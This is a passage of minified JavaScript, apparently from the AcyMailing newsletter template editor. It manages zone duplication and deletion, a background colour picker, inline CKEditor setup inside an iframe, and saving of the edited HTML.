zoneAction.style.left = iframe.clientWidth - 142 + "px"; } if(evt.layerY != undefined && evt.layerY > 0 && evt.layerY != evt.clientY){ decaY = evt.layerY; }else if(evt.offsetY != undefined){ decaY = evt.offsetY; }else{ decaY = 0; } var scrollValue = acyJquery(iframe).contents().find('body').scrollTop(); zoneAction.style.top = scrollValue + evt.clientY - decaY + "px"; } var lineTr = acyJquery(zoneBoutonSuppression).closest('tr'); if(lineTr.length != 0){ var legendBground = document.createElement("p"); acyJquery(legendBground).text(bgroundColorTxt + ':'); legendBground.id = 'legendBground'; var colorSelectorContainer = document.createElement("span"); colorSelectorContainer.id = "colorSelectorContainer"; var colorSelector = document.createElement("div"); colorSelector.id = "colorSelector"; var colorSelectorInput = document.createElement("input"); colorSelectorInput.id = "colorSelectorInput"; var colorStr = acyJquery(lineTr).find('td').css('background-color'); acyJquery(colorSelector).css('background-color', '#' + rgb2hex(colorStr)); var options = { color: rgb2hex(colorStr) }; colorSelectorInput.value = '#' + rgb2hex(colorStr); picker = acyJquery(colorSelectorContainer).colorpicker(options); acyJquery('#' + id + "_ifr").contents().find('body').on('click', function(){ picker.colorpicker('hide'); }); acyJquery(colorSelectorInput).on('change', function(){ picker.colorpicker('setValue', colorSelectorInput.value); }); picker.on('changeColor.colorpicker', function(event){ blockHide = true; var elem = acyJquery(zoneBoutonSuppression).closest('.acyeditor_delete'); var rgbObject = event.color.toRGB(); var rgbString = 'rgb(' + rgbObject.r + ', ' + rgbObject.g + ', ' + rgbObject.b + ')'; acyJquery(elem).find('td').css('background-color', event.color.toHex()); acyJquery(colorSelector).css('background-color', event.color.toHex()); colorSelectorInput.value = event.color.toHex(); InitContent(id, txtSup, titleSup, titleEd, urlSite); Sauvegarde(id); ResizeIframe(id); var styleInline = acyJquery(elem).find('td').attr('style'); styleInline = styleInline.replace(rgbString, event.color.toHex()); acyJquery(elem).find('td').attr('style', styleInline); }); picker.on('showPicker.colorpicker', function(event){ var iframe = acyJquery('#' + id + "_ifr"); var scrollValue = acyJquery(iframe).contents().find('body').scrollTop(); var offsetParent = iframe.offset(); var offsetButton = acyJquery(iframe[0].contentWindow.document.body).find('#colorSelector').offset(); var widthColorpicker = acyJquery('.colorpicker').width()-25; acyJquery('.colorpicker').css('top', Number(offsetParent.top -scrollValue+offsetButton.top+40) + 'px'); acyJquery('.colorpicker').css('left', Number(offsetParent.left+offsetButton.left-widthColorpicker) + 'px'); }); zoneAction.appendChild(legendBground); colorSelectorContainer.appendChild(colorSelectorInput); colorSelectorContainer.appendChild(colorSelector); zoneAction.appendChild(colorSelectorContainer); } var closeButton = document.createElement('div'); closeButton.id = 'closeButton'; closeButton.className = 'acyeditor_closebutton'; acyJquery(closeButton).on('click', function (evt){ hideColorPicker(); hideAll(id); InitContent(id, txtSup, titleSup, titleEd, urlSite); Sauvegarde(id); ResizeIframe(id); }); zoneAction.appendChild(closeButton); zoneFade.appendChild(zoneAction); zoneBody.appendChild(zoneFade); } function hideColorPicker(){ var pickers = acyJquery('.colorpicker'); for (var i = 0; i < pickers.length; i++){ pickers[i].style.display = 'none'; } } function rgb2hex(rgb){ rgb = rgb.match(/^rgba?[\s+]?\([\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?/i); return (rgb && rgb.length === 4) ? ("0" + parseInt(rgb[1],10).toString(16)).slice(-2) + ("0" + parseInt(rgb[2],10).toString(16)).slice(-2) + ("0" + parseInt(rgb[3],10).toString(16)).slice(-2) : ''; } function duplicateZone(id, zoneCopy, action){ acyJquery(zoneCopy).closest('acyeditor_delete').addClass('nepasediter'); elem = acyJquery(zoneCopy).closest('.acyeditor_delete'); elemCopy = elem.clone(); acyJquery(elemCopy).find('.acyeditor_zoneeditionsuppression').remove(); elemCopy[0].id = ""; elementsZones = acyJquery(elemCopy).find('*'); for (indexZone = 0; indexZone < elementsZones.length; ++indexZone){ elementsZones[indexZone].id = ""; } if(action == 'before'){ acyJquery(elem).before(elemCopy); }else{ acyJquery(elem).after(elemCopy); } hideActionButtons(id, null, 'noClick', false); InitContent(id, txtSup, titleSup, titleEd, urlSite); } function hideAll(id){ var zoneBody = acyJquery('#' + id + "_ifr")[0].contentWindow.document.body; acyJquery(zoneBody).children('.acyeditor_disable').removeClass('acyeditor_disable'); var zoneGlob = zoneBody.getElementsByTagName('*'); acyJquery(zoneGlob).remove('.acyeditor_mask'); } function hideActionButtons(id, e, zoneClick, protectEditor){ if(e && ((e.srcElement && acyJquery(e.srcElement).closest('.colorpicker').length > 0) || (e.target && acyJquery(e.target).closest('.colorpicker').length > 0))) return; var canHide = false; if(zoneClick == 'editor'){ if(e != null && e != undefined){ srcEvent = e.srcElement ? e.srcElement : (e.target ? e.target : e); parentDelete = acyJquery(srcEvent).closest('.acyeditor_delete'); if(parentDelete == null || parentDelete == undefined){ canHide == true; }else if(zoneActionActive != null){ childActive = acyJquery(parentDelete).find('#' + zoneActionActive.id); if(childActive[0] == null || childActive[0] == undefined) canHide = true; } }else{ canHide = true; } } if(zoneClick == 'outside' || zoneClick == 'noClick' || canHide){ zoneBody = acyJquery('#' + id + "_ifr")[0].contentWindow.document.body; acyJquery(zoneBody).children('.acyeditor_disable').removeClass('acyeditor_disable'); var zoneGlob = zoneBody.getElementsByTagName('*'); acyJquery('.acyeditor_action').remove(); acyJquery(zoneGlob).find('.noOpacity').removeClass('noOpacity'); if(protectEditor == false) acyJquery(zoneGlob).find('.nepasediter').removeClass('nepasediter'); } if(zoneClick == 'outside') hideAll(id); } function FireClick(itemElement, arretRecursif){ if(isBrowserIE7() || isBrowserIE8()){ var popupTagContainer = parent.document.getElementById(boutonTags); var popupMediaBrowserContainer = parent.document.getElementById(boutonMediaBrowser); if(popupTagContainer != null && popupTagContainer != undefined && popupTagContainer.children[0] != null && popupTagContainer.children[0] != undefined){ popupTagContainer.children[0].onclick = function (){ IeCursorFix(); }; } if(popupMediaBrowserContainer != null && popupMediaBrowserContainer != undefined && popupMediaBrowserContainer.children[0] != null && popupMediaBrowserContainer.children[0] != undefined){ popupMediaBrowserContainer.children[0].onclick = function (){ IeCursorFix(); }; } } try{ itemElement.click(); } catch (err){ try{ var ev = new Event({type: "click", target: itemElement, srcElement: itemElement}); itemElement.fireEvent("click", ev); } catch (err2){ itemElement.fireEvent("click"); } } if((isBrowserIE7() || isBrowserIE8()) && isJoomla3 && arretRecursif != true && itemElement.id != "AcyLienImage"){ setTimeout(function(){ IeCursorFix(); SetIgnoreDeselection(); FireClick(itemElement, true); }, 100); }else if(isBrowserIE7() || isBrowserIE8()){ var popupTagContainer = parent.document.getElementById(boutonTags); var popupMediaBrowserContainer = parent.document.getElementById(boutonMediaBrowser); if(popupTagContainer != null && popupTagContainer != undefined && popupTagContainer.children[0] != null && popupTagContainer.children[0] != undefined){ popupTagContainer.children[0].onclick = function (){ IeCursorFix(true); }; } if(popupMediaBrowserContainer != null && popupMediaBrowserContainer != undefined && popupMediaBrowserContainer.children[0] != null && popupMediaBrowserContainer.children[0] != undefined){ popupMediaBrowserContainer.children[0].onclick = function (){ IeCursorFix(true); }; } } } function CheckToujoursAuDessus(id, e){ var iframe = acyJquery('#' + id + '_ifr'); e = e || iframe[0].contentWindow.event; var target = e.currentTarget || e.srcElement; var parent = GetElement(id, target.parentElement.id); var leftElement = parent.offset().left; var topElement = parent.offset().top; var widthElement = parent.outerWidth(); var heightElement = parent.outerHeight(); if(e.pageX < leftElement || e.pageX > leftElement + widthElement || e.pageY < topElement || e.pageY > topElement + heightElement){ EffaceZone(target); } } function EffaceZone(zone){ if(zone != null && zone != undefined){ var enfants = zone.getElementsByTagName("*"); for (i = 0; i < enfants.length; ++i){ enfants[i].style.display = "none"; } zone.style.width = "0px"; zone.style.height = "0px"; zone.style.borderStyle = "hidden"; } } function confirmSuppression(id, element, boutonSuppression, texteSuppression){ GetElement(id, boutonSuppression.parentElement.parentElement.parentElement.id).addClass('nepasediter'); var zoneBody = acyJquery('#' + id + "_ifr")[0].contentWindow.document.body; var zoneFade = document.createElement("div"); zoneFade.style.position = "absolute"; zoneFade.className = "acyeditor_mask"; zoneFade.style.width = acyJquery('#htmlfieldset').width() - 20 + "px"; zoneFade.style.height = acyJquery('#htmlfieldset').height() - 20 + "px"; zoneFade.id = "zoneFade"; var offsettop = acyJquery(boutonSuppression).offset().top; var offsetleft = acyJquery(boutonSuppression).offset().left - 400; var confirmBox = document.createElement('div'); confirmBox.id = 'confirmBox'; confirmBox.className = 'confirmBox'; confirmBox.style.top = offsettop + 'px'; confirmBox.style.left = offsetleft + 'px'; var confirmContent = document.createElement('div'); confirmContent.id = 'acy_popup_content'; var confirmTxt = document.createElement('span'); confirmTxt.id = 'confirmTxt'; confirmTxt.className = 'confirmTxt'; confirmTxt.innerHTML = texteSuppression+'<br />'; var confirmOk = document.createElement('button'); confirmOk.id = 'confirmOk'; confirmOk.className = 'confirmOk'; confirmOk.innerHTML = confirmDeleteBtnTxt; confirmOk.onclick = function(){ Suppression(id, element, boutonSuppression, texteSuppression); acyJquery(zoneFade).remove(); }; var confirmCancel = document.createElement('button'); confirmCancel.id = 'confirmCancel'; confirmCancel.className = 'confirmCancel'; confirmCancel.innerHTML = confirmCancelBtnTxt; confirmCancel.onclick = function(){ acyJquery(zoneFade).remove(); }; confirmContent.appendChild(confirmTxt); confirmContent.appendChild(confirmOk); confirmContent.appendChild(confirmCancel); confirmBox.appendChild(confirmContent); zoneFade.appendChild(confirmBox); zoneBody.appendChild(zoneFade); } function Suppression(id, element, boutonSuppression, texteSuppression){ var idParent = boutonSuppression.parentElement.parentElement.id; if(element.tagName == "TD"){ var parentTR = element; while (parentTR != null && parentTR != undefined && (parentTR.tagName != "TR" || !acyJquery(parentTR).hasClass("acyeditor_delete"))){ parentTR = parentTR.parentElement; } if(parentTR != null && parentTR != undefined){ parentTR.parentElement.removeChild(parentTR); } }else{ element.parentElement.removeChild(element); } Sauvegarde(id); ResizeIframe(id); } function SetMouseOver(id, zone){ zone.parentElement.onmouseover = function(){ AdapteTaille(id, zone);}; } function AdapteTaille(id, zone){ if(zone != null && zone.parentElement != null){ zone.style.display = ""; zone.style.width = "0px"; zone.style.height = "0px"; var parentZone = zone.parentElement; if(parentZone.tagName == "TD"){ var parentTR = parentZone; while (parentTR != null && parentTR != undefined && (parentTR.tagName != "TR" || !acyJquery(parentTR).hasClass("acyeditor_delete"))){ parentTR = parentTR.parentElement; } if(parentTR != null && parentTR != undefined){ parentZone = parentTR; var zonesTaille = acyJquery(parentZone).find(".acyeditor_zoneeditionsuppression"); for (indexZoneTaille = 0; indexZoneTaille < zonesTaille.length; ++indexZoneTaille){ if(zonesTaille[indexZoneTaille].id != zone.id){ zonesTaille[indexZoneTaille].style.display = "none"; } } } } var parent = GetElement(id, parentZone.id); var left = parent.offset().left; var top = parent.offset().top; var widthZone = (parent.outerWidth() - 2); var heightZone = (parent.outerHeight()); if(widthZone >= 0){ zone.style.width = widthZone + "px"; } if(heightZone >= 0){ zone.style.height = heightZone + "px"; } zone.style.left = left + "px"; zone.style.top = top + "px"; var enfants = zone.getElementsByTagName("*"); for (i = 0; i < enfants.length; ++i){ enfants[i].style.display = "block"; if(enfants[i].tagName == "A"){ enfants[i].style.width = widthZone; enfants[i].style.height = heightZone; } } zone.style.borderStyle = ""; var zoneBoutonEdition = null; try{ zoneBoutonEdition = acyJquery(zone).find(".acyeditor_zoneboutonedition")[0]; } catch (err){ var enfantsZone = zone.children; for (indexEnfantZone = 0; indexEnfantZone < enfantsZone.length; ++indexEnfantZone){ if(acyJquery(enfantsZone[indexEnfantZone]).hasClass("acyeditor_zoneboutonedition")){ zoneBoutonEdition = enfantsZone[indexEnfantZone]; } } } if(zoneBoutonEdition != null && zoneBoutonEdition != undefined){ var parentReel = GetElement(id, zone.parentElement.id); var leftReel = parentReel.offset().left - left; var topReel = parentReel.offset().top - top; var widthZoneReel = (parentReel.outerWidth() - 2); var heightZoneReel = (parentReel.outerHeight() - 2); if(widthZoneReel >= 0){ zoneBoutonEdition.style.width = widthZoneReel + "px"; } if(heightZoneReel >= 0){ zoneBoutonEdition.style.height = heightZoneReel + "px"; } zoneBoutonEdition.style.left = leftReel + "px"; zoneBoutonEdition.style.top = topReel + "px"; } } } function GetNewId(id){ for (i = 1; i < 1000; ++i){ var identifiant = "zone_" + i; if(Existe(id, identifiant) == false){ return identifiant; } } return null; } function Existe(id, itemId){ if(itemId == null || itemId == undefined || itemId == '') return false; var idIframe = id + "_ifr"; var element = undefined; var element2 = undefined; try{ element = document.getElementById(itemId); } catch (err){ } try{ element2 = acyJquery('#' + idIframe)[0].contentWindow.document.getElementById(itemId); } catch (err2){ } return (element != null && element != undefined || element2 != null && element2 != undefined); } function GetElement(id, itemId){ var idIframe = id + "_ifr"; return acyJquery('#' + idIframe).contents().find('#' + itemId); } function SetOnClick(id, element){ element.onclick = function(e){ ClickTemplateCKEditor(id, element.id, e);}; if(isBrowserIE()){ element.onmousedown = null; } } var editor; function ClickTemplateCKEditor(id, idElement, e){ var idIframe = id + "_ifr"; ignoreDeselection = false; CheckDeselection(id, e) var elementToEditJQ = GetElement(id, idElement); var elementToEdit = elementToEditJQ[0]; if(elementToEdit != undefined){ if(elementToEdit.className.indexOf('nepasediter') < 0){ var okPourEdition = true; var editionEnCours = GetElement(id, 'edition_en_cours'); if(editionEnCours[0] != null && editionEnCours[0] != undefined){ if(editor != null && editor != undefined){ editor.destroy(); editor = null; } var editionEnCoursParentJQ = GetElement(id, editionEnCours[0].parentElement.id); editionEnCoursParentJQ.removeClass('acyeditor_enedition'); editionEnCoursParentJQ.addClass('acyeditor_text'); SetOnClick(id, editionEnCoursParentJQ[0]); editionEnCours[0].outerHTML = editionEnCours[0].innerHTML; okPourEdition = false; } if(okPourEdition){ var zone = GetElement(id, "ZoneEditionSuppression_" + elementToEdit.id); elementToEditJQ.removeClass('acyeditor_editablehover'); zone.removeClass('acyeditor_zoneeditionsuppressionhover'); if(zone[0] != null && zone[0] != undefined){ zone.detach(); } var code = elementToEdit.innerHTML; var iframeCKEDITOR = acyJquery('#' + idIframe)[0].contentWindow.CKEDITOR; var headerIFrame = acyJquery('#' + idIframe)[0].contentWindow.document; headerIFrame = headerIFrame.head || headerIFrame; var urlBase = headerIFrame.getElementsByTagName("base")[0].href; var borderSize = 1; var left = elementToEditJQ.css("padding-left"); var right = elementToEditJQ.css("padding-right"); var top = elementToEditJQ.css("padding-top"); var bottom = elementToEditJQ.css("padding-bottom"); var leftPad = (elementToEditJQ.css("padding-left").replace("px", "") - borderSize); var rightPad = (elementToEditJQ.css("padding-right").replace("px", "") - borderSize); var topPad = (elementToEditJQ.css("padding-top").replace("px", "") - borderSize); var bottomPad = (elementToEditJQ.css("padding-bottom").replace("px", "") - borderSize); leftPad = leftPad < 0 ? 0 : leftPad; rightPad = rightPad < 0 ? 0 : rightPad; topPad = topPad < 0 ? 0 : topPad; bottomPad = bottomPad < 0 ? 0 : bottomPad; elementToEdit.innerHTML = "<div id='edition_en_cours' contenteditable='true' style='border:solid " + borderSize + "px orange;padding:" + topPad + "px " + rightPad + "px " + bottomPad + "px " + leftPad + "px;margin:-" + top + " -" + right + " -" + bottom + " -" + left + ";color:inherit;background:inherit;font:inherit;text-indent:inherit;text-decoration:inherit;text-transform:inherit;text-justify:inherit;text-kashida-space:inherit;text-overflow:inherit;text-shadow:inherit;text-underline-position:inherit;unicode-bidi:inherit;word-spacing:inherit;writing-mode:inherit;word-break:inherit;word-wrap:inherit;zoom:inherit;marker-offset:inherit;marks:inherit;quotes:inherit;table-layout:inherit;text-align-last:inherit;text-autospace:inherit;outline:inherit;overflow:inherit;min-height:inherit;max-height:inherit;line-break:inherit;letter-spacing:inherit;layout-flow:inherit;layout-grid:inherit;line-height:inherit;white-space:inherit;text-align:inherit;direction:inherit;list-style:inherit;float:inherit;ime-mode:inherit;layer-background-color:inherit;layer-background-image:inherit;filter:inherit;behavior:inherit;position:inherit;clear:inherit;clip:inherit;cursor:inherit;vertical-align:inherit'>" + code + "</div><div id='bottom' style='width:" + largeurMenuInline + "px;position:absolute'></div>"; iframeCKEDITOR.disableAutoInline = true; var toolbarGroupsCKEditor = [{name: 'mode'}, {name: 'undo'}, {name: 'links'}]; var extraPluginsCKEditor = ''; extraPluginsCKEditor += ',acymediabrowser'; if(!acyeditor_listmode && isTagAllowed){ extraPluginsCKEditor += ',addtag'; toolbarGroupsCKEditor.push({name: 'insert', groups: ["acymediabrowser", "addtag"]}); }else{ toolbarGroupsCKEditor.push({name: 'insert', groups: ["acymediabrowser"]}); } toolbarGroupsCKEditor.push({name: 'basicstyles'}, {name: 'colors'}, '/', {name: 'paragraph', groups: ['list', 'indent', 'blocks']}, {name: 'align'}, {name: 'styles'}); if(acyeditor_templatemode){ toolbarGroupsCKEditor.push({name: 'templatemode', groups: ["textarea", "picturearea", "deletearea", "-", "showarea"]}); } var elementEditor = GetElement(id, "edition_en_cours")[0]; var xEditor = elementEditor.offsetLeft; var yEditor = elementEditor.offsetTop; var parentOffset = elementEditor.offsetParent; while (parentOffset != null && parentOffset != undefined){ xEditor = xEditor + parentOffset.offsetLeft; yEditor = yEditor + parentOffset.offsetTop; parentOffset = parentOffset.offsetParent; } var largeurEditor = elementEditor.clientWidth; var newX = ((largeurEditor - largeurMenuInline) / 2); var newX = ((largeurEditor - largeurMenuInline) / 2); GetElement(id, 'bottom')[0].style.marginLeft = newX + "px"; GetElement(id, 'bottom')[0].style.marginTop = (((GetElement(id, 'edition_en_cours').css("margin-bottom").replace("px", "") - 1) + 1) * -1) + "px"; var topValue = ""; if(yEditor < 70){ topValue = "bottom"; } var pluginToRemove = ''; if(inlineSource == 0) pluginToRemove += ',sourcedialog'; if(pasteType == 'plain'){ pastePlain = true; pasteWordSimple = false; }else if(pasteType == 'simpleStyle'){ pastePlain = false; pasteWordSimple = true; } if(acyEnterMode == 'p'){ enterM = CKEDITOR.ENTER_P; }else if(acyEnterMode == 'div'){ enterM = CKEDITOR.ENTER_DIV; }else{ enterM = CKEDITOR.ENTER_BR; } extraPluginsCKEditor += ',codemirror'; var codemirrorOptions = { showFormatButton: false, showCommentButton: false, showUncommentButton: false, showAutoCompleteButton: false }; editor = iframeCKEDITOR.inline('edition_en_cours', { toolbarGroups: toolbarGroupsCKEditor, removeButtons: 'Cut,Copy,Paste,Blockquote,RemoveFormat,Subscript,Superscript,Table,HorizontalRule,SpecialChar,Symbol,Source', removePlugins: 'liststyle,tabletools,image,forms,sourcearea,resize'+pluginToRemove, filebrowserImageUploadUrl : urlBase + urlAcyeditor + 'kcfinder/upload.php?type=images', extraPlugins: extraPluginsCKEditor, sharedSpaces: { top: idDivShared }, forcePasteAsPlainText: pastePlain, pasteFromWordRemoveFontStyles: pasteWordSimple, codemirror: codemirrorOptions, enterMode: enterM }); var currentIframe = document.getElementById('editor_body_ifr'); var editorOnScreen = function (){ var iframe = currentIframe; var scrollIframe = acyJquery(iframe).contents().find('body').scrollTop(); var topPosition = iframe.getBoundingClientRect().top; if(topPosition < 70){ var newTop = (70 - topPosition) + scrollIframe; var editorSpace = iframe.contentDocument.getElementById('editorSpace'); editorSpace.style.position = 'absolute'; editorSpace.style.top = newTop + 'px'; } else { var editorSpace = iframe.contentDocument.getElementById('editorSpace'); editorSpace.style.position = 'fixed'; editorSpace.style.top = 0 + 'px'; } }; acyJquery(window).on('scroll', function(e){editorOnScreen()}); acyJquery(acyJquery(currentIframe).contents()).on('scroll', function(e){editorOnScreen()}); editor.on('dialogShow', function (e){ var iframe = acyJquery('#editor_body_ifr'); var toolbar = iframe.contents().find('#cke_edition_en_cours'); var iFrameSize; var position; var newPosition; var popupSize; position = Number(toolbar.offset().top); iFrameSize = Number(iframe.height()); popupSize = Number(e.data.getSize().height); if(position + popupSize <= iFrameSize) newPosition = position; else newPosition = position - (position + popupSize - iFrameSize); e.data.move(e.data.getPosition().x, newPosition, true); }); editor.on('instanceReady',function(){ var zoneEdition = GetElement(id, "edition_en_cours"); zoneEdition[0].title = ""; editor.on('change',function(e){ CleanEditorContent(id, e); IeCursorFix(); }); GetElement(id, "edition_en_cours")[0].onkeyup = function (){ IeCursorFix(); }; GetElement(id, "edition_en_cours")[0].onclick = function (){ IeCursorFix(); }; rangeIE = undefined; IeCursorFix(); editor.on('selectionChange', function(e){ IeCursorFix(); }); editor.on('change', function(e){ ResizeIframe(id); }); editor.focus(); editorOnScreen(); var iframe = acyJquery('#editor_body_ifr'); var toolbar = iframe.contents().find('#cke_edition_en_cours'); var iframeEditionWidth = window.document.getElementById(idIframe).clientWidth; if(toolbar.offset().left < 0){ if((xEditor + newX) < 0){ toolbar.css('left', '0px'); }else{ var newLeftToolbar = xEditor + newX; toolbar.css('left', newLeftToolbar + 'px'); } }else if((toolbar.offset().left + largeurMenuInline) > iframeEditionWidth){ var newLeftToolbar = iframeEditionWidth - largeurMenuInline; toolbar.css('left', newLeftToolbar + 'px'); var bottomZone = iframe.contents().find('#bottom'); bottomZone.css('left', newLeftToolbar + 'px'); bottomZone.css('margin-left', '0px'); } }); if(zone[0] != null && zone[0] != undefined){ elementToEdit.appendChild(zone[0]); } elementToEditJQ.removeClass('acyeditor_text'); setTimeout(function(){ elementToEditJQ.addClass('acyeditor_enedition'); var inlineMenu = GetElement(id, "cke_edition_en_cours")[0]; if(inlineMenu != undefined && inlineMenu != null){ inlineMenu.onclick = function(){ IgnoreDeselection(id); }; if(isBrowserIE()){ inlineMenu.onmousedown = function (e){ IgnoreDeselection(id) }; } } }, 200); elementToEdit.onclick = function (e){ IgnoreDeselection(id) }; if(isBrowserIE()){ elementToEdit.onmousedown = function (e){ IgnoreDeselection(id) }; } } }else{ elementToEditJQ.removeClass('nepasediter'); } } } var ignoreDeselection = false; function IgnoreDeselection(id) { ignoreDeselection = true; setTimeout(function(){ var popups = acyJquery('#' + id + '_ifr').contents().find('.cke_editor_edition_en_cours_dialog'); if(popups != undefined && popups != null){ for (indexPopup = 0; indexPopup < popups.length; ++ indexPopup){ if(popups[indexPopup].style.display != "none"){ popups[indexPopup].onclick = function (){ IgnoreDeselection(id); }; } } } }, 200); } function SetIgnoreDeselection() { ignoreDeselection = true; } function CheckDeselection(id, e){ var idIframe = id + "_ifr"; var div = document.getElementsByTagName('body')[0]; if(e != null && e != undefined){ div = e.srcElement? e.srcElement : (e.target ? e.target : e); } var parentElement = div; var acyeditor_enedition = false; while (parentElement != null && parentElement != undefined){ if((parentElement.className && parentElement.className.indexOf('acyeditor_enedition') >= 0) || parentElement.id == boutonTags || ClickSurPopup(parentElement)){ acyeditor_enedition = true; } if(parentElement.parentElement == null && parentElement.tagName != "HTML"){ acyeditor_enedition = true; } parentElement = parentElement.parentElement; } if(!acyeditor_enedition){ ValidationModifications(id); }else{ ignoreDeselection = false; } } function ClickSurPopup(element){ return ((element.className && (element.className.indexOf('cke_dialog_body') >= 0 || element.className.indexOf('cke_dialog_background_cover') >= 0)) || element.id == 'cke_edition_en_cours'); } function CleanEditorContent(id, e){ var idIframe = id + "_ifr"; var code = (editor != null && editor != undefined) ? editor.getData() : ""; var fauxDiv = acyJquery('#' + idIframe)[0].contentWindow.document.createElement("div"); fauxDiv.innerHTML = code; var enfantsFauxDiv = fauxDiv.getElementsByTagName("*"); for (indexEnfantsFauxDiv = 0; indexEnfantsFauxDiv < enfantsFauxDiv.length; ++indexEnfantsFauxDiv){ if(enfantsFauxDiv[indexEnfantsFauxDiv].className != ""){ acyJquery(enfantsFauxDiv[indexEnfantsFauxDiv]).removeClass("acyeditor_delete"); acyJquery(enfantsFauxDiv[indexEnfantsFauxDiv]).removeClass("acyeditor_picture"); acyJquery(enfantsFauxDiv[indexEnfantsFauxDiv]).removeClass("acyeditor_text"); acyJquery(enfantsFauxDiv[indexEnfantsFauxDiv]).removeClass("acyeditor_sortable"); if(acyJquery(enfantsFauxDiv[indexEnfantsFauxDiv]).hasClass("acyeditor_zoneeditionsuppression")){ enfantsFauxDiv[indexEnfantsFauxDiv].outerHTML = ""; } } if(Existe(id, enfantsFauxDiv[indexEnfantsFauxDiv].id)){ enfantsFauxDiv[indexEnfantsFauxDiv].removeAttribute("id"); } } if(fauxDiv.innerHTML != code){ editor.setData(fauxDiv.innerHTML, {internal: true }); } } function ValidationModifications(id){ if(ignoreDeselection == false){ if(!isJoomla3 || !(isBrowserIE7() || isBrowserIE8())){ rangeIE = undefined; } var idIframe = id + "_ifr"; var elementJQ = acyJquery('#' + idIframe).contents().find('.acyeditor_enedition'); var element = elementJQ[0]; if(element != null && element != undefined){ var popup = false; var popups = acyJquery('#' + idIframe).contents().find('.cke_editor_edition_en_cours_dialog'); if(popups != undefined && popups != null){ for (indexPopup = 0; indexPopup < popups.length; ++ indexPopup){ if(popups[indexPopup].style.display != "none"){ popup = true; } } } if(popup == false){ var code = ""; if(editor != null && editor != undefined){ code = editor.getData(); editor.destroy(); editor = null; var zone = GetElement(id, "ZoneEditionSuppression_" + element.id); if(zone != null && zone != undefined){ zone.detach(); } element.innerHTML = code; if(zone[0] != null && zone[0] != undefined){ element.appendChild(zone[0]); } } elementJQ.removeClass('acyeditor_enedition'); elementJQ.addClass('acyeditor_text'); SetOnClick(id, element); AdapteTaille(id, zone); Sauvegarde(id); acyJquery(window).unbind('scroll'); } } }else{ ignoreDeselection = false; } } function Sauvegarde(id) { var idIframe = id + "_ifr"; var newNoeud = acyJquery('#' + idIframe)[0].contentWindow.document.body.cloneNode(true); var elements = newNoeud.getElementsByTagName('*'); for (i = 0; i < elements.length; ++i){ if(acyJquery(elements[i]).hasClass("acyeditor_zoneeditionsuppression") || acyJquery(elements[i]).hasClass("acyeditor_action") || acyJquery(elements[i]).hasClass("acyeditor_mask")){ elements[i].outerHTML = ""; i = i - 1; } } acyJquery('#' + id)[0].value = newNoeud.innerHTML; } function SetTitleTemplate(onlyRemove){ if(acyeditor_templatemode){ var iframe = acyJquery('#edition_en_cours')[0].parentElement.getElementsByTagName("iframe")[0]; iframe = acyJquery(iframe); if(iframe[0] != undefined){ var allZones = iframe[0].contentWindow.document.getElementsByTagName("*"); for (indexZone = 0; indexZone < allZones.length; ++indexZone){ acyJquery(allZones[indexZone]).removeAttr("title"); } if(onlyRemove != true){ var zonesDelete = iframe.contents().find(".acyeditor_delete"); for (indexZone = 0; indexZone < zonesDelete.length; ++indexZone){ zonesDelete[indexZone].title = tooltipTemplateDelete; if(isBrowserIE()){ var children = zonesDelete[indexZone].getElementsByTagName("*"); for (indexchild = 0; indexchild < children.length; ++indexchild){ children[indexchild].title = zonesDelete[indexZone].title; } } } var zonesTexte = iframe.contents().find(".acyeditor_text"); for (indexZone = 0; indexZone < zonesTexte.length; ++indexZone){ zonesTexte[indexZone].title = tooltipTemplateText; if(isParentSupprimable(zonesTexte[indexZone])){ zonesTexte[indexZone].title = tooltipTemplateText + "\r\n" + tooltipTemplateDelete; } if(isBrowserIE()){ var children = zonesTexte[indexZone].getElementsByTagName("*"); for (indexchild = 0; indexchild < children.length; ++indexchild){ children[indexchild].title = zonesTexte[indexZone].title; } } } var zonesPicture = iframe.contents().find(".acyeditor_picture"); for (indexZone = 0; indexZone < zonesPicture.length; ++indexZone){ zonesPicture[indexZone].title = tooltipTemplatePicture; if(isParentSupprimable(zonesPicture[indexZone])){ zonesPicture[indexZone].title = tooltipTemplatePicture + "\r\n" + tooltipTemplateDelete; } if(isBrowserIE()){ var children = zonesPicture[indexZone].getElementsByTagName("*"); for (indexchild = 0; indexchild < children.length; ++indexchild){ children[indexchild].title = zonesPicture[indexZone].title; } } } } } } } function SetStateForSelection(){ if(acyeditor_templatemode){ var alltemplatebuttons = acyJquery(".boutontemplate_text"); for (indexTemplateButton = 0;indexTemplateButton < alltemplatebuttons.length; ++indexTemplateButton){ SetStateForSelectionForClasse(acyJquery(alltemplatebuttons[indexTemplateButton]), "acyeditor_text"); } alltemplatebuttons = acyJquery(".boutontemplate_picture"); for (indexTemplateButton = 0;indexTemplateButton < alltemplatebuttons.length; ++indexTemplateButton){ SetStateForSelectionForClasse(acyJquery(alltemplatebuttons[indexTemplateButton]), "acyeditor_picture"); } alltemplatebuttons = acyJquery(".boutontemplate_delete"); for (indexTemplateButton = 0;indexTemplateButton < alltemplatebuttons.length; ++indexTemplateButton){ SetStateForSelectionForClasse(acyJquery(alltemplatebuttons[indexTemplateButton]), "acyeditor_delete"); } alltemplatebuttons = acyJquery(".boutontemplate_sortable"); for (indexTemplateButton = 0;indexTemplateButton < alltemplatebuttons.length; ++indexTemplateButton){ SetStateForSelectionForClasse(acyJquery(alltemplatebuttons[indexTemplateButton]), "acyeditor_sortable"); } } } function SetStateForSelectionForClasse(item, classe){ var acyframe = acyJquery('#edition_en_cours')[0].parentElement.getElementsByTagName("iframe")[0]; var node = null; if(isBrowserIE()){ node = GetParentForClass(anchorNodeIE, classe); }else if(acyframe != null && acyframe != undefined && acyframe.contentWindow != null && acyframe.contentWindow != undefined && acyframe.contentWindow.getSelection){ var sel = acyframe.contentWindow.getSelection(); if(sel.anchorNode){ node = GetParentForClass(sel.anchorNode, classe); } } item.removeClass("cke_button_on"); item.removeClass("cke_button_off"); if(node != null && node != undefined){ item.removeClass("cke_button_disabled"); if(acyJquery(node).hasClass(classe)){ item.addClass("cke_button_on"); }else{ item.addClass("cke_button_off"); } if(classe == 'acyeditor_sortable'){ if(acyJquery(node).closest('tbody.acyeditor_sortable').length>0){ item.addClass("cke_button_on"); }else{ item.addClass("cke_button_off"); } } }else if(!item.hasClass("cke_button_disabled")){ item.addClass("cke_button_disabled"); } } function GetParentForClass(item, classe){ var parent = item; while (parent != null && parent != undefined){ var elementModifiables = acyJquery(parent).find(".acyeditor_delete, .acyeditor_text, .acyeditor_picture").length; 